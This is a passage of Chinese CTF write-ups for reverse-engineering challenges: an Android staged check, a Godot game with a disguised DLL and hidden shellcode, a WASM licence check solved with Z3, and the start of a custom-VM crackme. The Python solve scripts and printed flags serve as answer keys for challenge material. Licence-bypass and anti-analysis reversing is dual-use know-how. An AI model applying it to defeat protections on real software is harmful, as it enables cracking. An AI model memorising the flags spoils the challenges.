Hook My Secret


0x01 题目信息

  • 题目类型:Android / Reverse / Crypto
  • 样本:app-release.apk
  • 包名:com.nctf.hookmysecret
  • 主要页面:PatternActivity -> Stage2Activity -> Stage3Activity -> SuccessActivity

这题是一个典型的“三段校验链”:

  1. Stage1:手势密码(Pattern)经 SHA-256 比较
  2. Stage2:输入字符串走 JNI Native 算法,结果与 16 长度整数数组比较
  3. Stage3:把 Stage2 的 key 作为 AES Key,结合 SQLite 里的 IV 去加密最终输入,和固定密文比较

0x02 静态分析总览

先解压 APK,定位关键类:

  • com.nctf.hookmysecret.ui.PatternActivity
  • com.nctf.hookmysecret.ui.Stage2Activity
  • com.nctf.hookmysecret.ui.Stage3Activity
  • com.nctf.hookmysecret.nativebridge.NativeBridge
  • 混淆辅助类:LN0/c, LN0/d, LC/h, LK0/a, LM0/a

Native 层在:

  • lib/*/libhookmysecret.so
  • 导出函数:Java_com_nctf_hookmysecret_nativebridge_NativeBridge_encryptStage2

0x03 Stage1 还原(Pattern 校验)

核心逻辑在 LN0/c->b(...):

  1. 把手势点序列拼成字符串(逗号分隔),例如 "0,1,2,4,8"
  2. 计算 SHA-256,转小写 hex
  3. 与常量比较:
4a6bc34076c8eef0f9eac59ad30d99bb4f56ecea4b0bfab92540fb655ac680f3

点位来自 3x3(0~8),常见规则是不重复。直接枚举 P(9,k)(k=1..9)可秒出:

Stage1 pattern = 0,1,2,4,8

0x04 Stage2 还原(JNI + 常量数组)

Java 侧在 LN0/d 中调用:

NativeBridge.a.encryptStage2(input)

然后与 LK0/a->a 的固定数组比较。数组值可还原为:

[250, 113, 87, 185, 6, 125, 167, 156, 4, 0, 229, 239, 119, 155, 187, 95]

关键逆向点

从 libhookmysecret.so 的 Java_com_nctf_hookmysecret_nativebridge_NativeBridge_encryptStage2 反汇编可提炼出每轮公式:

  • 初始状态:d = 0x51
  • 对第 i 个输入字节 x:
t   = rol8(((13*i + 0x42) ^ d ^ x), 3)
out = (7*d + i + t) & 0xff
d   = (x + d + (out ^ i)) & 0xff

目标是 out[i] 等于上面的 16 个常量。这个变换可逐字节逆推:

t = (out - (7*d + i)) & 0xff
y = ror8(t, 3)
x = y ^ d ^ (13*i + 0x42)

逆出来的 Stage2 正确输入为:

k7Xm2Pq9Wv4N8bRt


0x05 Stage3 还原(AES/CBC)

LN0/d 的 Stage3 分支逻辑:

  1. 从 SharedPreferences("challenge_state") 取 stage2Key
  2. 去空白并检查长度必须在 {16,24,32}
  3. 从 SQLite config.db 表 app_cfg 取 stage3_iv
  4. AES/CBC/PKCS5Padding 加密用户输入,Base64 后与固定串比较

数据库初始化在 LM0/a->onCreate:

stage3_iv = "VmVyaWZ5VmVjdG9yMTIzNA=="

解码后:

IV = "VerifyVector1234"

目标密文常量:

jSaMnziall55Tdr+IZc7EKUNm/N4uwrZw1QFPw6DuirfYFJZg88j6GKLhWfNljAB

于是已知:

  • Key = k7Xm2Pq9Wv4N8bRt
  • IV = VerifyVector1234
  • Ciphertext = 上述 Base64

直接 AES-CBC 解密并去 PKCS#5 padding,得到最终输入(也就是 flag):

NCTF{a680107e-a49b-43e1-915b-cedd25e7835a}

0x06 最终答案

flag: NCTF{a680107e-a49b-43e1-915b-cedd25e7835a}

0x07 一键复现脚本

脚本位置:

  • solve_hookmysecret.py

执行:

python solve_hookmysecret.py

输出:

[+] Stage1 pattern : 0,1,2,4,8
[+] Stage2 key     : k7Xm2Pq9Wv4N8bRt
[+] Final flag     : NCTF{a680107e-a49b-43e1-915b-cedd25e7835a}
#!/usr/bin/env python3
import base64
import hashlib
import itertools

from Crypto.Cipher import AES


STAGE1_TARGET_SHA256 = "4a6bc34076c8eef0f9eac59ad30d99bb4f56ecea4b0bfab92540fb655ac680f3"
STAGE2_TARGET = [250, 113, 87, 185, 6, 125, 167, 156, 4, 0, 229, 239, 119, 155, 187, 95]
STAGE3_IV_B64 = "VmVyaWZ5VmVjdG9yMTIzNA=="
STAGE3_CIPHER_B64 = "jSaMnziall55Tdr+IZc7EKUNm/N4uwrZw1QFPw6DuirfYFJZg88j6GKLhWfNljAB"


def rol8(x: int, n: int) -> int:
    x &= 0xFF
    return ((x << n) | (x >> (8 - n))) & 0xFF


def ror8(x: int, n: int) -> int:
    x &= 0xFF
    return ((x >> n) | (x << (8 - n))) & 0xFF


def stage2_encrypt_like_native(inp: bytes) -> list[int]:
    d = 0x51
    out = []
    for i, x in enumerate(inp):
        t = rol8(((13 * i + 0x42) & 0xFF) ^ d ^ x, 3)
        o = (7 * d + i + t) & 0xFF
        out.append(o)
        d = (x + d + (o ^ i)) & 0xFF
    return out


def invert_stage2_target(target: list[int]) -> bytes:
    d = 0x51
    recovered = []
    for i, o in enumerate(target):
        t = (o - (7 * d + i)) & 0xFF
        y = ror8(t, 3)
        x = y ^ d ^ ((13 * i + 0x42) & 0xFF)
        recovered.append(x)
        d = (x + d + (o ^ i)) & 0xFF
    return bytes(recovered)


def brute_stage1_pattern() -> str:
    digits = "012345678"
    for length in range(1, 10):
        for p in itertools.permutations(digits, length):
            s = ",".join(p)
            if hashlib.sha256(s.encode()).hexdigest() == STAGE1_TARGET_SHA256:
                return s
    raise RuntimeError("stage1 pattern not found")


def decrypt_stage3_flag(stage2_key: str) -> str:
    iv = base64.b64decode(STAGE3_IV_B64)
    ct = base64.b64decode(STAGE3_CIPHER_B64)
    pt = AES.new(stage2_key.encode(), AES.MODE_CBC, iv).decrypt(ct)
    pad = pt[-1]
    return pt[:-pad].decode()


def main() -> None:
    stage1_pattern = brute_stage1_pattern()
    stage2_key_bytes = invert_stage2_target(STAGE2_TARGET)
    stage2_key = stage2_key_bytes.decode()
    assert stage2_encrypt_like_native(stage2_key_bytes) == STAGE2_TARGET
    final_flag = decrypt_stage3_flag(stage2_key)

    print("[+] Stage1 pattern :", stage1_pattern)
    print("[+] Stage2 key     :", stage2_key)
    print("[+] Final flag     :", final_flag)


if __name__ == "__main__":
    main()


NoMyBank!

题目信息

题目描述里已经把背景讲得很清楚:

  • Kruse 用 Godot 做了一个迷宫小游戏 NoMyBank!;
  • SydzI 觉得游戏“不安全”,额外加了一层保护;
  • 迷宫最深处宝箱里藏了一个“神秘礼物”;
  • 目标就是把这个礼物找出来。

附件里有两个文件:

  • NoMyBank.exe
  • libextension.dll

其中题目特别提示“解压路径不要包含中文”,这类提示一般意味着:

  1. 程序本身真的会从磁盘路径取资源;
  2. 而且很可能不是纯脚本题,存在外部依赖、动态加载,甚至路径相关的保护逻辑。

这题的实际结构也确实如此:

  • NoMyBank.exe 是一个 Godot 4 单文件导出程序;
  • 资源包没有单独给出,而是 直接拼在 EXE 末尾;
  • 迷宫宝箱逻辑不在 GDScript 里直接给出,最后一步被交给了外部扩展 libextension.dll;
  • 外部 libextension.dll 还被额外做了一层伪装,真正逻辑藏在解密后的真实 DLL 中。

所以整题的主线非常明确:

  1. 先把 Godot 资源包抠出来;
  2. 还原关键脚本,搞清宝箱触发链;
  3. 再把外部扩展保护拆掉;
  4. 最后逆出真正的 key / gift。

0x01先看入口:Godot 4 单文件导出

直接看 NoMyBank.exe,可以先得到两个结论:

  • 这是一个 PE32+ x64 程序;
  • 字符串和导出模板特征都指向 Godot 4。

进一步检查后可以发现,这不是“exe + 单独 pck”那种导出方式,而是 PCK 被直接拼在 EXE 内部。

我在样本里定位到真正的 PCK 头:

GDPC @ file offset 0x5194000

也就是说,Godot 的资源包是嵌进 NoMyBank.exe 里的,不需要从目录里找外部 .pck。

1.1 PCK 文件表

把 GDPC 后面的目录结构解析出来,可以得到文件数是 88 个,包含:

  • Scripts/*.gdc
  • Scenes/*.scn
  • project.binary
  • .godot/exported/...
  • bin/libextension.gdextension

说明整个 Godot 工程的资源都在 EXE 里,只是被加密了。

0x02 第一层保护:Godot 资源加密

这题不是普通导出,而是 自定义模板 + 加密资源。

2.1 从模板里抠 AES key

在 EXE 里沿着下面这个报错字符串逆:

Can't open encrypted pack directory.

可以定位到模板里读取 pack key 的逻辑,最终发现程序会从一个全局地址取 32 字节密钥。

恢复出的 key 为:

d34bff62613fdd2861f6d5942c5e99a53ef3e90adbe9091b4686859d5b7dab22

2.2 资源加密格式

这批资源的加密格式符合 Godot 4 的一套常见思路:

  • 前 16 字节:明文 MD5
  • 后 8 字节:明文长度(little-endian)
  • 再后 16 字节:IV
  • 剩下是 AES-256-CFB 密文

总共是一个 40 字节头。

解密伪代码如下:

blob = read_file_blob(...)
md5_expected = blob[:16]
size = int.from_bytes(blob[16:24], 'little')
iv = blob[24:40]
ct = blob[40:40+size]
pt = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128).decrypt(ct)
assert hashlib.md5(pt).digest() == md5_expected

把这层解掉以后,资源就都能正常落盘了。

0x03 恢复 GDScript / Scene 后的主流程

资源解开后,关键文件有:

Scripts/WinPopupTreasury.gdc
Scripts/OnEnterTreasury.gdc
Scripts/OnNearTreasury.gdc
Scripts/GameManager.gdc
bin/libextension.gdextension

其中 .gdc 不是 Godot 3 那种旧字节码,而是 Godot 4 编译后的 tokenizer buffer。这类文件虽然不是直接源码,但把 token 表、标识符表和常量表恢复出来后,依然可以把关键逻辑还原成接近源码的形式。

3.1 宝箱触发脚本:OnEnterTreasury.gd

还原后逻辑非常简单:

extends Area2D
var popup_scene = preload("res://Scenes/winpopup_treasury.tscn")

func _on_body_entered(body):
    if body.is_in_group("player"):
        body.can_move = false
        var popup = popup_scene.instantiate()
        get_tree().current_scene.add_child(popup)

func _ready() -> void:
    body_entered.connect(_on_body_entered)

玩家进入 Treasury 区域后,会弹出一个宝箱窗口。

3.2 宝箱窗口:WinPopupTreasury.gd

这才是本题核心脚本。

还原结果:

extends CanvasLayer

@onready var button = $Panel/Button
@onready var note = $Panel/Label
var menu_scene = preload("res://Scenes/menu.tscn")

func _on_button_pressed():
    var flag_checker = get_checker_from_loaded_dll_node()
    if flag_checker:
        flag_checker.show_flag_dialog()
    queue_free()

func get_checker_from_loaded_dll_node():
    var checker = get_tree().get_first_node_in_group("dllchecker")
    return checker

func _ready() -> void:
    note.text = "Congratulations!\n\tYou are now in my treasury.\n\tGive me your key, and I will give you my gift."
    process_mode = Node.PROCESS_MODE_ALWAYS
    button.pressed.connect(_on_button_pressed)

这段代码非常关键,它直接说明:

宝箱按钮并不会在 GDScript 里直接吐 gift,而是去场景树里找一个属于 dllchecker 组的节点,然后调用它的 show_flag_dialog()。

也就是说:

  • GDScript 只是把用户引到最终入口;
  • 真正的 gift 校验逻辑在外部扩展里。

3.3 外部扩展配置:libextension.gdextension

配置文件内容如下:

[configuration]
entry_symbol = "dllchecker_library_init"
compatibility_minimum = "4.5"
reloadable = true

[libraries]
windows.debug.x86_64 = "res://bin/libextension.dll"
windows.release.x86_64 = "res://bin/libextension.dll"

到这里,主线已经很明确了:

  • Godot 场景里存在一个 dllchecker 节点;
  • 节点来自外部 GDExtension;
  • 宝箱按钮最后会调用它的 show_flag_dialog()。

所以接下来就该狠狠干 libextension.dll。

0x04 第二层保护:外部 libextension.dll 并不是真 DLL

直接看附件里的 libextension.dll,会发现它根本不像正常 PE:

  • 熵很高;
  • MZ 头没了;
  • file 识别也不正常;
  • 串看起来像随机数据。

这说明它不是“损坏的 DLL”,而是 被额外加密/伪装过的真 DLL。

4.1 EXE 里有自定义加载器

继续逆 NoMyBank.exe,可以找到一段专门处理外部 DLL 的自定义逻辑,大致流程如下:

  1. 打开 libextension.dll
  2. 读入内存
  3. 做一套 RC4 风格 KSA/PRGA
  4. 把解密后的结果写到临时文件
  5. 再 LoadLibraryExW 加载真正的 DLL

关键字符串非常醒目:

G00dLuck2U

这就是硬编码在 EXE 里的 RC4 key。

4.2 解密真实 DLL

直接用标准 RC4 还原即可:

def rc4(data: bytes, key: bytes) -> bytes:
    s = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s[i] + key[i % len(key)]) & 0xff
        s[i], s[j] = s[j], s[i]

    out = bytearray(len(data))
    i = j = 0
    for idx, b in enumerate(data):
        i = (i + 1) & 0xff
        j = (j + s[i]) & 0xff
        s[i], s[j] = s[j], s[i]
        out[idx] = b ^ s[(s[i] + s[j]) & 0xff]
    return bytes(out)

enc = open('libextension.dll', 'rb').read()
dec = rc4(enc, b'G00dLuck2U')
open('libextension.dec', 'wb').write(dec)

解密后得到的是一个正常的 PE32+ x64 DLL,导出函数为:

dllchecker_library_init

而且在字符串里已经能看到关键内容:

show_flag_dialog
Flag Checker
enter your key
Good job! Here is your gift:
Wrong!
What a pity! Try again.

说明这才是宝箱最终逻辑的真正实现。

0x05 真实 DLL 逆向:先看成功 / 失败分支

在解密后的真实 DLL 里,围绕这些字符串的 xref 可以先把 UI 逻辑钉死。

成功 / 失败分支的主体大致是:

  • 成功:

Good job! Here is your gift:

  • 失败:
Wrong!
What a pity! Try again.

表面看起来像一个很普通的“弹窗 + 校验字符串”流程。

5.1 一开始很容易掉进假逻辑

在 DLL 里先能看到一个完整的 TEA 风格函数,长度、常量、写回方式都很完整,看起来像是“把 40 字节 key 分块加密后对比”。

如果只看静态代码,非常容易直接沿着这条 TEA 逻辑逆回去。

但这条路是假的。

因为 DLL 初始化时会做一件更阴的事:

它会在运行时把那个 TEA 函数入口直接 patch 掉,改跳到另一段隐藏 shellcode。

这一步就是这题最关键的保护点。

0x06 关键反转:TEA 只是烟雾弹,真实校验在隐藏 shellcode

6.1 初始化函数会热补丁校验函数

在 DLL 的初始化路径里,可以看到一段典型的运行时 patch:

  1. 先把目标函数页改成可写可执行;
  2. 再往目标地址写入一段 12 字节跳板;
  3. 跳板内容是:
48 B8 <imm64>
FF E0

也就是:

mov rax, <new_target>
jmp rax

被 patch 的目标正是之前静态看到的那个 TEA 函数入口;新目标则是 0x180002700 对应的一段跳板逻辑。

6.2 这段跳板还会再解出一段隐藏代码

0x180002700 并不是最终算法本体,它只是一个 loader:

  • 先从 .data 里的 0x491 字节 blob 取数据;
  • 每个字节再 XOR 0xBA;
  • 把结果放进一块可执行内存;
  • 然后把原来校验函数的参数原样传给这段 shellcode 去执行。

也就是说,真实算法结构实际上是:

假 TEA 函数
   ↓(运行时 patch)
跳到 0x180002700
   ↓
0x180002700 解密 shellcode
   ↓
shellcode 才是真校验

这一步把题目的层次瞬间拉高了:

  • 资源层是 Godot pack 加密;
  • 外部扩展层是 RC4 伪 DLL;
  • 扩展内部居然还有一层 动态热补丁 + 自解密 shellcode。

0x07 还原真实 shellcode 逻辑

把 .data 里的隐藏 blob 取出来,逐字节 XOR 0xBA,就能得到真实 shellcode。

反汇编后可以发现这段代码做了两件事:

  1. 对输入做一套 魔改 Base64;
  2. 再做一层基于 0x114514 的按字节扰动;
  3. 最后把结果和 DLL 中的 56 字节常量比较。

7.1 自定义字符表

shellcode 先在栈上构造出一个 64 字节字符表,原始字节再整体异或 0xFF,最终得到的 alphabet 为:

ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/

和标准 Base64 相比,它的表是:

  • 大写字母倒序
  • 小写字母倒序
  • 数字倒序
  • 最后还是 +/

7.2 魔改 Base64 编码顺序

对每 3 字节 b0, b1, b2,先按标准方式拆出 4 个 sextet:

s0 = (b0 >> 2) & 0x3f;
s1 = ((b0 & 3) << 4) | ((b1 >> 4) & 0xf);
s2 = ((b1 & 0xf) << 2) | ((b2 >> 6) & 3);
s3 = b2 & 0x3f;

但它输出时并不是标准顺序 [s0, s1, s2, s3],而是:

[s1, s0, s3, s2]

也就是说,字符输出顺序被改成了:

第1个字符 = s1
第2个字符 = s0
第3个字符 = s3
第4个字符 = s2

padding 规则还是 Base64 那套,长度 40 字节会被编码成 56 字节。

7.3 二次扰动

得到 56 字节中间串以后,shellcode 会继续按字节做下面的处理:

seed = 0x114514;
for (i = 0; i < out_len; i++) {
    x = out[i];
    x ^= (seed >> ((i * 8) % 24)) & 0xff;
    x = rol8(x, 2) ^ 0xBA;
    out[i] = x;
    seed = seed * 0x1010193 + 0x12345678;
}

这里有两个关键点:

  • ((i * 8) % 24) 说明它只会用 seed 的低 24 位按 3 字节轮转;
  • seed = seed * 0x1010193 + 0x12345678 是一条非常明显的 LCG 更新式。

7.4 最终比较目标

真正的比较目标就是 DLL .rdata 中的一段 56 字节常量:

2b f7 67 5e 7c 98 ed 6d d1 8c ef 57 bb 33 22 7e
b2 1f 34 5b 36 6c 2b af bb 5b 12 d6 3c 0a 45 27
84 6c 47 ab 2f 75 78 3e 88 89 2d 7a cd 5c f6 fa
36 73 ff 6e d3 4c 1c 75

这就是我们要逆回去的目标值。

0x08 逆算法:从目标常量反推出正确 key

整体逆向顺序如下:

  1. 先逆掉第二层字节扰动;
  2. 再把 56 字节魔改 Base64 串还原回原始 40 字节输入。

8.1 逆二次扰动

正向是:

x ^= mask
x = rol8(x, 2) ^ 0xBA

逆向自然就是:

x = ror8(y ^ 0xBA, 2)
x ^= mask

其中:

mask = (seed >> ((i * 8) % 24)) & 0xff
seed = seed * 0x1010193 + 0x12345678

8.2 逆魔改 Base64

恢复出中间串以后,按 4 字节一组取值:

c0, c1, c2, c3

由于它的输出顺序是 [s1, s0, s3, s2],所以逆的时候应该恢复成:

s1 = inv[c0]
s0 = inv[c1]
s3 = inv[c2]
s2 = inv[c3]

再按正常 Base64 公式还原原始 3 字节:

b0 = (s0 << 2) | (s1 >> 4)
b1 = ((s1 & 0xf) << 4) | (s2 >> 2)
b2 = ((s2 & 0x3) << 6) | s3

这样就能把最终 key 逆出来。

0x09 完整求解脚本

下面给出完整求解脚本。它做的事情包括:

  1. 先把外部伪 DLL 用 RC4 解开;
  2. 从真实 DLL 中提取 56 字节目标;
  3. 逆 shellcode 算法;
  4. 还原正确输入 key;
  5. 再模拟成功分支中的 o/e/i -> 0/3/1,得到最终 gift。
from pathlib import Path
import struct

DLL = Path('libextension.dll')


def rc4(data: bytes, key: bytes) -> bytes:
    s = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s[i] + key[i % len(key)]) & 0xff
        s[i], s[j] = s[j], s[i]
    out = bytearray(len(data))
    i = j = 0
    for idx, b in enumerate(data):
        i = (i + 1) & 0xff
        j = (j + s[i]) & 0xff
        s[i], s[j] = s[j], s[i]
        out[idx] = b ^ s[(s[i] + s[j]) & 0xff]
    return bytes(out)


def va_to_off(pe: bytes, va: int) -> int:
    peoff = struct.unpack_from('<I', pe, 0x3C)[0]
    num = struct.unpack_from('<H', pe, peoff + 6)[0]
    opt = struct.unpack_from('<H', pe, peoff + 20)[0]
    sect = peoff + 24 + opt
    image_base = struct.unpack_from('<Q', pe, peoff + 24 + 24)[0]
    rva = va - image_base
    for i in range(num):
        off = sect + i * 40
        vsize, vaddr, rsize, roff = struct.unpack_from('<IIII', pe, off + 8)
        if vaddr <= rva < vaddr + max(vsize, rsize):
            return roff + (rva - vaddr)
    raise ValueError


def ror8(x: int, n: int) -> int:
    return ((x >> n) | ((x << (8 - n)) & 0xff)) & 0xff


def build_alphabet() -> bytes:
    init = bytes(list(range(0xA5, 0xBF)) + list(range(0x85, 0x9F)) + [0xC6, 0xC7, 0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF, 0xD4, 0xD0])
    return bytes(b ^ 0xFF for b in init)


def recover_key(real_dll: bytes) -> str:
    target_va = 0x1800EA520
    target = real_dll[va_to_off(real_dll, target_va):va_to_off(real_dll, target_va) + 56]

    # reverse second stage
    stage1 = bytearray()
    seed = 0x114514
    for i, y in enumerate(target):
        t = ror8(y ^ 0xBA, 2)
        mask = (seed >> ((i * 8) % 24)) & 0xff
        stage1.append(t ^ mask)
        seed = (seed * 0x1010193 + 0x12345678) & 0xffffffff

    # reverse custom base64
    alphabet = build_alphabet()
    inv = {c: i for i, c in enumerate(alphabet)}
    out = bytearray()
    for i in range(0, len(stage1), 4):
        c0, c1, c2, c3 = stage1[i:i + 4]
        s1 = inv[c0]
        s0 = inv[c1]
        s3 = 0 if c2 == ord('=') else inv[c2]
        s2 = 0 if c3 == ord('=') else inv[c3]

        out.append(((s0 << 2) | (s1 >> 4)) & 0xff)
        if c2 != ord('='):
            out.append((((s1 & 0x0F) << 4) | (s2 >> 2)) & 0xff)
        if c3 != ord('='):
            out.append((((s2 & 0x03) << 6) | s3) & 0xff)

    return out.decode()


def gift_from_key(key: str) -> str:
    return key.replace('o', '0').replace('e', '3').replace('i', '1')


def main():
    enc = DLL.read_bytes()
    real_dll = rc4(enc, b'G00dLuck2U')
    key = recover_key(real_dll)
    gift = gift_from_key(key)
    print('key :', key)
    print('gift:', gift)


if __name__ == '__main__':
    main()

运行结果:

key : NCTF{You_deserve_this_gift_b1bd7c719cfc}
gift: NCTF{Y0u_d3s3rv3_th1s_g1ft_b1bd7c719cfc}


PAY-FOR-2048


0x01 题目初步分析

解压后看到是标准 Electron 打包目录,重点文件如下:

  1. resources/app.asar
  2. PAY-FOR-2048.exe
  3. wasm-build/wasm32-unknown-unknown/release/wasm_core.wasm(在 asar 里)

这类题基本套路是:

  1. JS 负责 UI 和桥接
  2. 核心校验逻辑在 WASM/Rust

0x02 解包 app.asar

app.asar 不是加密文件,头部是 JSON 索引。解出后得到源码:

  1. src/game-controller.js
  2. src/license-service.js
  3. src/wasm-bridge.js
  4. wasm-build/.../wasm_core.wasm

从 wasm-bridge.js 可以确认导出函数:

  1. verify_license
  2. unlock_flag

也就是:

  1. 先校验 License
  2. 再解锁 Flag

0x03 前端逻辑梳理

game-controller.js 关键流程:

  1. 达到 256 后弹窗输入 key(verify_license)
  2. key 验证通过后进入 Pro 阶段
  3. 达到 2048 后调用 unlock_flag

提交给 WASM 的上下文包含:

  1. key
  2. score
  3. steps
  4. maxTile
  5. board
  6. sessionToken

0x04 WASM 逆向核心

将 wasm_core.wasm 转成 wat 后看到关键函数:

  1. normalize_key
  2. verify_license_impl
  3. build_session_token
  4. unlock_flag_impl

1)verify 阶段

verify_license_impl 做了这些事:

  1. 检查 maxTile >= 256
  2. 检查 key 格式:NCTF-XXXX-XXXX-XXXX
  3. normalize_key:把 key 去前缀/去短横,变成 12 字符串
  4. 对这 12 字符做 32 位滚动哈希,等于固定常量才通过
  5. 通过后返回 sessionToken

2)unlock 阶段

unlock_flag_impl 逻辑:

  1. 检查 maxTile >= 2048
  2. 重新计算并比对 sessionToken
  3. 再次 normalize_key
  4. 用 normalized_key + "|" + "arcade::unlock-seed" 作为输入进行异或流解密
  5. 得到 flag 字符串返回

0x05 关键坑点:哈希碰撞

我先用哈希方程直接求 key,得到过一个可以通过 verify 的 key:

NCTF-NYOY-6GD8-6MLP

它能通过 verify_license,但 unlock_flag 返回的是乱码。
说明这题不是“只过 verify 就行”,而是:

  1. verify 仅做 32-bit 哈希,存在碰撞
  2. 真正 flag 依赖 unlock 的解密输出
  3. 必须把 flag 格式约束也加进求解

0x06 约束联立求解(Z3)

把两类约束同时加入:

  1. verify 哈希常量约束
  2. unlock 输出应满足 flag 格式约束:
  • 以 NCTF{ 开头
  • UUID 样式分段
  • 十六进制字符范围
  • } 结尾

解得正确 normalized key:

RU57W45M2048

对应用户输入 key:

NCTF-RU57-W45M-2048

0x07 验证与拿旗

调用流程:

  1. verify_license(key, ctx(maxTile=256))
    返回
    ok=true 和 sessionToken
  2. unlock_flag(key, ctx(maxTile=2048, sessionToken=上一步返回))
    返回:
    NCTF{bff16266-c4f2-4dbb-b270-f5ded900b54c}

​

​

​

from z3 import *

norm = [BitVec(f'n{i}', 8) for i in range(12)]
s = Solver()

for c in norm:
    s.add(Or(And(c >= 48, c <= 57), And(c >= 65, c <= 90)))  # 0-9A-Z

# verify hash constraint
K = BitVecVal(((-1515890086) & 0xffffffff), 32)
p = BitVecVal(4951, 32)
for i in range(12):
    c = ZeroExt(24, norm[i])
    t = BitVecVal(40503 if (i & 1) else 17881, 32)
    v = (t + c) * BitVecVal(i + 11, 32)
    v = v ^ RotateLeft(p, 3)
    v = v + ((c << (i % 5)) ^ K)
    p = Extract(31, 0, v)
s.add(p == BitVecVal(((-57161169) & 0xffffffff), 32))

seed = b"arcade::unlock-seed"
const = [13,56,42,25,169,244,236,247,250,16,53,94,39,198,182,147,230,168,83,54,11,101,131,237,196,183,95,61,99,89,39,148,134,255,231,15,66,20,95,5,200,251]

inp = []
inp.extend(norm)
inp.append(BitVecVal(ord('|'), 8))
inp.extend(BitVecVal(b, 8) for b in seed)

for i in range(42):
    out = inp[i % 32] ^ BitVecVal(((i * 29 + 17) & 0xff), 8) ^ BitVecVal(const[i], 8)
    if i < 5:
        s.add(out == b"NCTF{"[i])
    elif 5 <= i <= 12:
        s.add(Or(And(out >= ord('0'), out <= ord('9')), And(out >= ord('a'), out <= ord('f'))))
    elif i == 13:
        s.add(out == ord('-'))
    elif 14 <= i <= 17:
        s.add(out == ord("c4f2"[i - 14]))
    elif i == 18:
        s.add(out == ord('-'))
    elif 19 <= i <= 22:
        s.add(out == ord("4dbb"[i - 19]))
    elif i == 23:
        s.add(out == ord('-'))
    elif 24 <= i <= 27:
        s.add(out == ord("b270"[i - 24]))
    elif i == 28:
        s.add(out == ord('-'))
    elif 29 <= i <= 31:
        s.add(out == ord("f5d"[i - 29]))
    elif 32 <= i <= 40:
        s.add(Or(And(out >= ord('0'), out <= ord('9')), And(out >= ord('a'), out <= ord('f'))))
    elif i == 41:
        s.add(out == ord('}'))

assert s.check() == sat
m = s.model()
norm_s = ''.join(chr(m[c].as_long()) for c in norm)
key = f"NCTF-{norm_s[:4]}-{norm_s[4:8]}-{norm_s[8:]}"
print("KEY =", key)

inp_bytes = norm_s.encode() + b"|" + seed
flag = bytes(inp_bytes[i % 32] ^ ((i * 29 + 17) & 0xff) ^ const[i] for i in range(42)).decode()
print("FLAG =", flag)

​

​

​

Vm-Encryptor


附件中给了两个文件:

  • vm-encryptor.exe
  • code.bin

程序运行后会提示输入 Flag,随后把 code.bin 读入内存,通过一个自定义虚拟机解释执行。整体看起来像是“壳 + 字节码”的形式,实际校验逻辑并不在 PE 主程序里,而是在 code.bin 对应的 VM 程序中。

这题的核心在于两步:

  1. 逆出 VM 指令集。
  2. 逆出字节码逻辑,还原最终校验算法。

最终 Flag:

NCTF{1578be15-ad09-4859-9193-5d52585eb485}

0x01 程序入口分析

首先看主程序字符串:

usage: vm-encryptor.exe <program.bin>
Input Flag:
vm error: %d
Right!
Wrong!

说明程序会:

  1. 从命令行读入一个 .bin 文件;
  2. 从标准输入读入 Flag;
  3. 调用 VM 执行;
  4. 根据返回值输出 Right! 或 Wrong!。

进一步分析主流程,可以还原出大致逻辑:

int main(int argc, char **argv) {
    vm_ctx ctx = {0};

    if (argc <= 1) {
        puts("usage: vm-encryptor.exe <program.bin>");
        return 1;
    }

    if (!load_program(&ctx, argv[1])) {
        fprintf(stderr, "failed to load %s\n", argv[1]);
        return 1;
    }

    printf("Input Flag: ");
    fgets(buf, 0x80, stdin);
    strip_newline(buf);

    // 复制到 VM 内存的 0x1000 位置
    memset(ctx.mem + 0x1000, 0, 0x2b);
    memcpy(ctx.mem + 0x1000, buf, min(strlen(buf), 0x2a));

    if (vm_exec(&ctx)) {
        puts("Right!");
    } else {
        puts("Wrong!");
    }
}

这里有个很关键的点:

  • 用户输入并不是直接交给原生代码处理;
  • 而是被拷贝到了 VM 内存中的 0x1000 地址。

所以字节码里一上来出现的 0x1000、0x102b、0x1064 这些地址,基本就都能对上用途了。

0x02 VM 上下文结构恢复

从 vm_exec 和 load_program 里可以把 VM 状态结构恢复出来:

struct VM {
    uint32_t ip;              // 0x0000
    uint32_t sp;              // 0x0004
    uint8_t  mem[0x10000];    // 0x000c
    uint32_t stack[0x1000];   // 0x1000c
    uint32_t running;         // 0x1400c
    uint32_t err;             // 0x14010
};

几个关键成员:

  • ip:字节码 PC
  • sp:VM 栈顶
  • mem:VM 的 64KB 内存
  • stack:VM 的 4096 项整型栈
  • running:运行状态
  • err:错误码

主程序把 code.bin 读入到了 mem[0] 开始的位置,而输入字符串被放到了 mem[0x1000]。

0x03 VM 指令集恢复

解释器主体是一个典型的 switch/jumptable 结构。把跳转表梳理出来后,可以得到这套指令集:

opcode

含义

0x00

jmp imm32

0x01

jz imm32

0x02

jnz imm32

0x03

push8 imm8

0x04

push32 imm32

0x05

ld8

0x06

ld32

0x07

pop

0x08

st8

0x09

st32

0x0A

add

0x0B

sub

0x0C

mul

0x0D

div

0x0E

mod

0x0F

and

0x10

or

0x11

not

0x12

xor

0x13

shl

0x14

shr

0x15

eq

0x17

ne

0x18

lt

0x19

gt

0x1A

le

0x1B

ge

0x1C

dup

0x1D

swap

0x1E

call imm32

0x1F

ret

0x20

printstr

0xFF

halt

其中:

  • ld8/ld32:从 mem 读数据
  • st8/st32:往 mem 写数据
  • call/ret:通过 VM 栈维护返回地址
  • printstr:从某个内存地址开始输出字符串,直到遇到 0x00

这题的难点不在 VM 本身多复杂,而在于它用一层虚拟机把真正逻辑藏起来了。

0x04 字节码入口分析

把 code.bin 从入口开始递归反汇编,可以看到一开始就是三次函数调用:

0000: push32   0x1000
0005: push32   0x102b
000a: push32   0x002a
000f: call     0x004f

0014: push32   0x102b
0019: push32   0x1064
001e: push32   0x0038
0023: call     0x0368

0028: push32   0x1064
002d: push32   0x109d
0032: push32   0x0038
0037: call     0x0471

003c: jz       0x0048
0041: push32   0x10d5
0046: printstr
0047: halt
0048: push32   0x10dc
004d: printstr
004e: halt

这已经把主逻辑暴露得很清楚了:

  1. 0x004f:把输入 0x1000 加工后写到 0x102b
  2. 0x0368:把 0x102b 再加工后写到 0x1064
  3. 0x0471:把 0x1064 与 0x109d 的目标数据比较

如果比较成功,打印 Right!;否则打印 Wrong!。

所以这题本质上就是逆这三段 VM 函数。

0x05 第一段函数 sub_004f:3 字节转 4 字节

1. 参数含义

调用前压栈顺序:

push32 0x1000   ; src
